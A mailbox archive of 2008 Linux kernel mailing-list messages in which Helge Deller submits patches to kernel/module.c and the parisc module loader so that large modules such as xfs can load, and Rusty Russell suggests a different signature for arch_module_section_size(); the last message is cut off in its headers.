X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 11:31:48 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 12:32:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHzJX-0003Gb-PS
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 12:32:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755665AbYLaLbX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 06:31:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755685AbYLaLbW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 06:31:22 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:42745 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755510AbYLaLbV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 06:31:21 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2008 11:31:19 -0000
Original-Received: from mnhm-590f71f5.pool.einsundeins.de (EHLO halden.box) [89.15.113.245]
  by mail.gmx.net (mp068) with SMTP; 31 Dec 2008 12:31:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+p1A5S0oipFAMMqiyNUgHX7/KqTsuisONAO0mecK
	bqQT9kl37vMaQr
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200812310915.41693.rusty@rustcorp.com.au>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.45
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1059 gmane.linux.kernel:773930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1059>

[PATCH 1/2] module.c: fix module loading failure of large kernel modules

When creating the final layout of a kernel module in memory, allow the
module loader to reserve some additional memory in front of a given section.
This is currently only needed for the parisc port which needs to put the
stub entries there to fulfill the 17/22bit PCREL relocations with large
kernel modules like xfs.

Differences of this patch to previous versions:
- added weak funtion arch_module_section_size()
- no kernel config options needed
- no overloading of sh_entsize

Signed-off-by: Helge Deller <deller@gmx.de>

diffstat:
 include/linux/moduleloader.h |    4 ++++
 kernel/module.c              |   16 +++++++++++++---
 2 files changed, 17 insertions(+), 3 deletions(-)


diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index eb10339..f2b1b62 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -13,6 +13,10 @@ int module_frob_arch_sections(Elf_Ehdr *hdr,
 			      char *secstrings,
 			      struct module *mod);
 
+/* Additional bytes needed by arch in front of individual sections */
+unsigned int arch_module_section_size(struct module *mod,
+				      unsigned int section);
+
 /* Allocator used for allocating struct module, core sections and init
    sections.  Returns NULL on failure. */
 void *module_alloc(unsigned long size);
diff --git a/kernel/module.c b/kernel/module.c
index 1f4cc00..5b91b17 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1578,11 +1578,21 @@ static int simplify_symbols(Elf_Shdr *sechdrs,
 	return ret;
 }
 
+/* Additional bytes needed by arch in front of individual sections */
+unsigned int __attribute__ ((weak)) arch_module_section_size(
+		struct module *mod, unsigned int section)
+{
+	/* default implementation just returns zero */
+	return 0;
+}
+
 /* Update size with this section: return offset. */
-static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
+static long get_offset(struct module *mod, unsigned int *size,
+		Elf_Shdr *sechdr, unsigned int section)
 {
 	long ret;
 
+	*size += arch_module_section_size(mod, section);
 	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
 	*size = ret + sechdr->sh_size;
 	return ret;
@@ -1622,7 +1632,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) == 0)
 				continue;
-			s->sh_entsize = get_offset(&mod->core_size, s);
+			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1640,7 +1650,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) != 0)
 				continue;
-			s->sh_entsize = (get_offset(&mod->init_size, s)
+			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
 					 | INIT_OFFSET_MASK);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Wed, 31 Dec 2008 12:36:58 +0100
Lines: 419
Approved: news@gmane.org
Message-ID: <495B595A.5040204@gmx.de>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230723432 32034 80.91.229.12 (31 Dec 2008 11:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 11:37:12 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 12:38:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHzOy-0004xv-KY
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 12:38:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755767AbYLaLhA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 06:37:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755878AbYLaLhA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 06:37:00 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:44452 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755767AbYLaLg6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 06:36:58 -0500
Original-Received: (qmail invoked by alias); 31 Dec 2008 11:36:56 -0000
Original-Received: from mnhm-590f71f5.pool.einsundeins.de (EHLO halden.box) [89.15.113.245]
  by mail.gmx.net (mp012) with SMTP; 31 Dec 2008 12:36:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18uCu8yF/MuOkb0WZ0lMTaS8eMtdQTgHsDfsjkR42
	xaWKMLEiOrkgus
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <495B5806.3080505@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1060 gmane.linux.kernel:773932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1060>

[PATCH 2/2] parisc: fix module loading failure of large modules (take 3)

On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
fail to reach their PLT stub if we only create one big stub array for
all sections at the beginning of the core or init section.

With this patch we now instead add individual PLT stub entries
directly in front of the code sections where the stubs are actually
called. This reduces the distance between the PCREL location and the
stub entry so that the relocations can be fulfilled.

While calculating the final layout of the kernel module in memory, the
kernel module loader calls arch_module_section_size() to request the
to be reserved amount of memory in front of each individual section.

Tested with 32- and 64bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diffstat:
 include/asm/module.h |    6 -
 kernel/module.c      |  217 +++++++++++++++++++++++++++++++--------------------
 2 files changed, 140 insertions(+), 83 deletions(-)


diff --git a/arch/parisc/include/asm/module.h b/arch/parisc/include/asm/module.h
index c2cb49e..1f41234 100644
--- a/arch/parisc/include/asm/module.h
+++ b/arch/parisc/include/asm/module.h
@@ -23,8 +23,10 @@ struct mod_arch_specific
 {
 	unsigned long got_offset, got_count, got_max;
 	unsigned long fdesc_offset, fdesc_count, fdesc_max;
-	unsigned long stub_offset, stub_count, stub_max;
-	unsigned long init_stub_offset, init_stub_count, init_stub_max;
+	struct {
+		unsigned long stub_offset;
+		unsigned int stub_entries;
+		} *section;
 	int unwind_section;
 	struct unwind_table *unwind;
 };
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 44138c3..3228007 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -6,6 +6,7 @@
  *
  *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
  *    Copyright (C) 2003 Randolph Chung <tausq at debian . org>
+ *    Copyright (C) 2008 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -24,6 +25,19 @@
  *
  *
  *    Notes:
+ *    - PLT stub handling
+ *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
+ *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
+ *      fail to reach their PLT stub if we only create one big stub array for
+ *      all sections at the beginning of the core or init section.
+ *      Instead we now insert individual PLT stub entries directly in front of
+ *      of the code sections where the stubs are actually called.
+ *      This reduces the distance between the PCREL location and the stub entry
+ *      so that the relocations can be fulfilled.
+ *      While calculating the final layout of the kernel module in memory, the
+ *      kernel module loader calls arch_module_section_size() to request the
+ *      to be reserved amount of memory in front of each individual section.
+ *
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
@@ -58,9 +72,13 @@
 #define DEBUGP(fmt...)
 #endif
 
+#define RELOC_REACHABLE(val, bits) \
+	(( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
+	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) ? \
+	0 : 1)
+
 #define CHECK_RELOC(val, bits) \
-	if ( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
-	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) { \
+	if (!RELOC_REACHABLE(val, bits)) { \
 		printk(KERN_ERR "module %s relocation of symbol %s is out of range (0x%lx in %d bits)\n", \
 		me->name, strtab + sym->st_name, (unsigned long)val, bits); \
 		return -ENOEXEC;			\
@@ -92,13 +110,6 @@ static inline int in_local(struct module *me, void *loc)
 	return in_init(me, loc) || in_core(me, loc);
 }
 
-static inline int in_local_section(struct module *me, void *loc, void *dot)
-{
-	return (in_init(me, loc) && in_init(me, dot)) ||
-		(in_core(me, loc) && in_core(me, dot));
-}
-
-
 #ifndef CONFIG_64BIT
 struct got_entry {
 	Elf32_Addr addr;
@@ -258,23 +269,43 @@ static inline unsigned long count_stubs(const Elf_Rela *rela, unsigned long n)
 /* Free memory returned from module_alloc */
 void module_free(struct module *mod, void *module_region)
 {
+	kfree(mod->arch.section);
+	mod->arch.section = NULL;
+
 	vfree(module_region);
 	/* FIXME: If module_region == mod->init_region, trim exception
            table entries. */
 }
 
+
+/* Additional bytes needed in front of individual sections. */
+unsigned int arch_module_section_size(struct module *mod,
+				      unsigned int section)
+{
+	/* size needed for all stubs of this section (including
+	 * one additional for correct alignment of the stubs) */
+	return (mod->arch.section[section].stub_entries + 1)
+		* sizeof(struct stub_entry);
+}
+
 #define CONST 
 int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 			      CONST Elf_Shdr *sechdrs,
 			      CONST char *secstrings,
 			      struct module *me)
 {
-	unsigned long gots = 0, fdescs = 0, stubs = 0, init_stubs = 0;
+	unsigned long gots = 0, fdescs = 0, len;
 	unsigned int i;
 
+	len = hdr->e_shnum * sizeof(me->arch.section[0]);
+	me->arch.section = kzalloc(len, GFP_KERNEL);
+	if (!me->arch.section)
+		return -ENOMEM;
+
 	for (i = 1; i < hdr->e_shnum; i++) {
-		const Elf_Rela *rels = (void *)hdr + sechdrs[i].sh_offset;
+		const Elf_Rela *rels = (void *)sechdrs[i].sh_addr;
 		unsigned long nrels = sechdrs[i].sh_size / sizeof(*rels);
+		unsigned int count, s;
 
 		if (strncmp(secstrings + sechdrs[i].sh_name,
 			    ".PARISC.unwind", 14) == 0)
@@ -290,11 +321,23 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 		 */
 		gots += count_gots(rels, nrels);
 		fdescs += count_fdescs(rels, nrels);
-		if(strncmp(secstrings + sechdrs[i].sh_name,
-			   ".rela.init", 10) == 0)
-			init_stubs += count_stubs(rels, nrels);
-		else
-			stubs += count_stubs(rels, nrels);
+
+		/* XXX: By sorting the relocs and finding duplicate entries
+		 *  we could reduce the number of necessary stubs and save
+		 *  some memory. */
+		count = count_stubs(rels, nrels);
+		if (!count)
+			continue;
+
+		/* so we need relocation stubs. reserve necessary memory. */
+		/* sh_info gives the section for which we need to add stubs. */
+		s = sechdrs[i].sh_info;
+
+		/* each code section should only have one relocation section */
+		WARN_ON(me->arch.section[s].stub_entries);
+
+		/* store number of stubs we need for this section */
+		me->arch.section[s].stub_entries += count;
 	}
 
 	/* align things a bit */
@@ -306,18 +349,8 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 	me->arch.fdesc_offset = me->core_size;
 	me->core_size += fdescs * sizeof(Elf_Fdesc);
 
-	me->core_size = ALIGN(me->core_size, 16);
-	me->arch.stub_offset = me->core_size;
-	me->core_size += stubs * sizeof(struct stub_entry);
-
-	me->init_size = ALIGN(me->init_size, 16);
-	me->arch.init_stub_offset = me->init_size;
-	me->init_size += init_stubs * sizeof(struct stub_entry);
-
 	me->arch.got_max = gots;
 	me->arch.fdesc_max = fdescs;
-	me->arch.stub_max = stubs;
-	me->arch.init_stub_max = init_stubs;
 
 	return 0;
 }
@@ -380,23 +413,27 @@ enum elf_stub_type {
 };
 
 static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
-	enum elf_stub_type stub_type, int init_section)
+	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
-	unsigned long i;
 	struct stub_entry *stub;
 
-	if(init_section) {
-		i = me->arch.init_stub_count++;
-		BUG_ON(me->arch.init_stub_count > me->arch.init_stub_max);
-		stub = me->module_init + me->arch.init_stub_offset + 
-			i * sizeof(struct stub_entry);
-	} else {
-		i = me->arch.stub_count++;
-		BUG_ON(me->arch.stub_count > me->arch.stub_max);
-		stub = me->module_core + me->arch.stub_offset + 
-			i * sizeof(struct stub_entry);
+	/* initialize stub_offset to point in front of the section */
+	if (!me->arch.section[targetsec].stub_offset) {
+		loc0 -= (me->arch.section[targetsec].stub_entries + 1) *
+				sizeof(struct stub_entry);
+		/* get correct alignment for the stubs */
+		loc0 = ALIGN(loc0, sizeof(struct stub_entry));
+		me->arch.section[targetsec].stub_offset = loc0;
 	}
 
+	/* get address of stub entry */
+	stub = (void *) me->arch.section[targetsec].stub_offset;
+	me->arch.section[targetsec].stub_offset += sizeof(struct stub_entry);
+
+	/* do not write outside available stub area */
+	BUG_ON(0 == me->arch.section[targetsec].stub_entries--);
+
+
 #ifndef CONFIG_64BIT
 /* for 32-bit the stub looks like this:
  * 	ldil L'XXX,%r1
@@ -489,15 +526,19 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf32_Addr val;
 	Elf32_Sword addend;
 	Elf32_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 	//unsigned long dp = (unsigned long)$global$;
 	register unsigned long dp asm ("r27");
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf32_Sym *)sechdrs[symindex].sh_addr
 			+ ELF32_R_SYM(rel[i].r_info);
@@ -569,19 +610,32 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 17)
+			if (!RELOC_REACHABLE(val, 17)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 17);
+			}
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
-			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
-			       strtab + sym->st_name, (unsigned long)loc, addend, 
-			       val)
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 22);
+			if (!RELOC_REACHABLE(val, 22)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 22);
+			}
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 
@@ -610,13 +664,17 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf64_Addr val;
 	Elf64_Sxword addend;
 	Elf64_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf64_Sym *)sechdrs[symindex].sh_addr
 			+ ELF64_R_SYM(rel[i].r_info);
@@ -672,42 +730,40 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			DEBUGP("PCREL22F Symbol %s loc %p val %lx\n",
 			       strtab + sym->st_name,
 			       loc, val);
+			val += addend;
 			/* can we reach it locally? */
-			if(!in_local_section(me, (void *)val, (void *)dot)) {
-
-				if (in_local(me, (void *)val))
-					/* this is the case where the
-					 * symbol is local to the
-					 * module, but in a different
-					 * section, so stub the jump
-					 * in case it's more than 22
-					 * bits away */
-					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
-						       in_init(me, loc));
-				else if (strncmp(strtab + sym->st_name, "$$", 2)
+			if (in_local(me, (void *)val)) {
+				/* this is the case where the symbol is local
+				 * to the module, but in a different section,
+				 * so stub the jump in case it's more than 22
+				 * bits away */
+				val = (val - dot - 8)/4;
+				if (!RELOC_REACHABLE(val, 22)) {
+					/* direct distance too far, create
+					 * stub entry instead */
+					val = get_stub(me, sym->st_value,
+						addend, ELF_STUB_DIRECT,
+						loc0, targetsec);
+				} else {
+					/* Ok, we can reach it directly. */
+					val = sym->st_value;
+					val += addend;
+				}
+			} else {
+				val = sym->st_value;
+				if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
 					val = get_stub(me, val, addend, ELF_STUB_MILLI,
-						       in_init(me, loc));
+						       loc0, targetsec);
 				else
 					val = get_stub(me, val, addend, ELF_STUB_GOT,
-						       in_init(me, loc));
+						       loc0, targetsec);
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, loc, sym->st_value,
 			       addend, val);
-			/* FIXME: local symbols work as long as the
-			 * core and init pieces aren't separated too
-			 * far.  If this is ever broken, you will trip
-			 * the check below.  The way to fix it would
-			 * be to generate local stubs to go between init
-			 * and core */
-			if((Elf64_Sxword)(val - dot - 8) > 0x800000 -1 ||
-			   (Elf64_Sxword)(val - dot - 8) < -0x800000) {
-				printk(KERN_ERR "Module %s, symbol %s is out of range for PCREL22F relocation\n",
-				       me->name, strtab + sym->st_name);
-				return -ENOEXEC;
-			}
 			val = (val - dot - 8)/4;
+			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 		case R_PARISC_DIR64:
@@ -794,12 +850,8 @@ int module_finalize(const Elf_Ehdr *hdr,
 	addr = (u32 *)entry->addr;
 	printk("INSNS: %x %x %x %x\n",
 	       addr[0], addr[1], addr[2], addr[3]);
-	printk("stubs used %ld, stubs max %ld\n"
-	       "init_stubs used %ld, init stubs max %ld\n"
-	       "got entries used %ld, gots max %ld\n"
+	printk("got entries used %ld, gots max %ld\n"
 	       "fdescs used %ld, fdescs max %ld\n",
-	       me->arch.stub_count, me->arch.stub_max,
-	       me->arch.init_stub_count, me->arch.init_stub_max,
 	       me->arch.got_count, me->arch.got_max,
 	       me->arch.fdesc_count, me->arch.fdesc_max);
 #endif
@@ -829,7 +881,10 @@ int module_finalize(const Elf_Ehdr *hdr,
 				me->name, me->arch.got_count, MAX_GOTS);
 		return -EINVAL;
 	}
-	
+
+	kfree(me->arch.section);
+	me->arch.section = NULL;
+
 	/* no symbol table */
 	if(symhdr == NULL)
 		return 0;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 4)
Date: Thu, 1 Jan 2009 00:02:40 +1030
Lines: 32
Approved: news@gmane.org
Message-ID: <200901010002.41477.rusty@rustcorp.com.au>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230730383 18216 80.91.229.12 (31 Dec 2008 13:33:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 13:33:03 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 14:34:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LI1D6-0004ND-43
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 14:34:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756454AbYLaNcw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2008 08:32:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756510AbYLaNcv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 31 Dec 2008 08:32:51 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:43754 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756445AbYLaNcu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2008 08:32:50 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 11E26DDEE2;
	Thu,  1 Jan 2009 00:32:49 +1100 (EST)
User-Agent: KMail/1.10.3 (Linux/2.6.27-9-generic; KDE/4.1.3; i686; ; )
In-Reply-To: <495B5806.3080505@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1061 gmane.linux.kernel:773964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1061>

On Wednesday 31 December 2008 22:01:18 Helge Deller wrote:
> +/* Additional bytes needed by arch in front of individual sections */
> +unsigned int arch_module_section_size(struct module *mod,
> +				      unsigned int section);
> +
...
> +/* Additional bytes needed by arch in front of individual sections */
> +unsigned int __attribute__ ((weak)) arch_module_section_size(
> +		struct module *mod, unsigned int section)
> +{
> +	/* default implementation just returns zero */
> +	return 0;
> +}

Not quite what I had in mind... let me show you:

/* Bytes needed for a section: default is just the section size. */
unsigned int __attribute__((weak))
arch_module_section_size(struct module *mod, Elf_Shdr *sechdrs, unsigned int sec)
{
	return sechdrs[sec].sh_size;
}

Otherwise I'd have called it "arch_module_extra_size()".

Cheers,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 4)
Date: Wed, 31 Dec 2008 15:13:56 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <495B7E24.9010802@gmx.de>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495B5806.3080505@gmx.de> <200901010002.41477.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230732847 29709 80.91.229.12 (31 Dec 2008 14:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 14:14:07 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 15:15:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
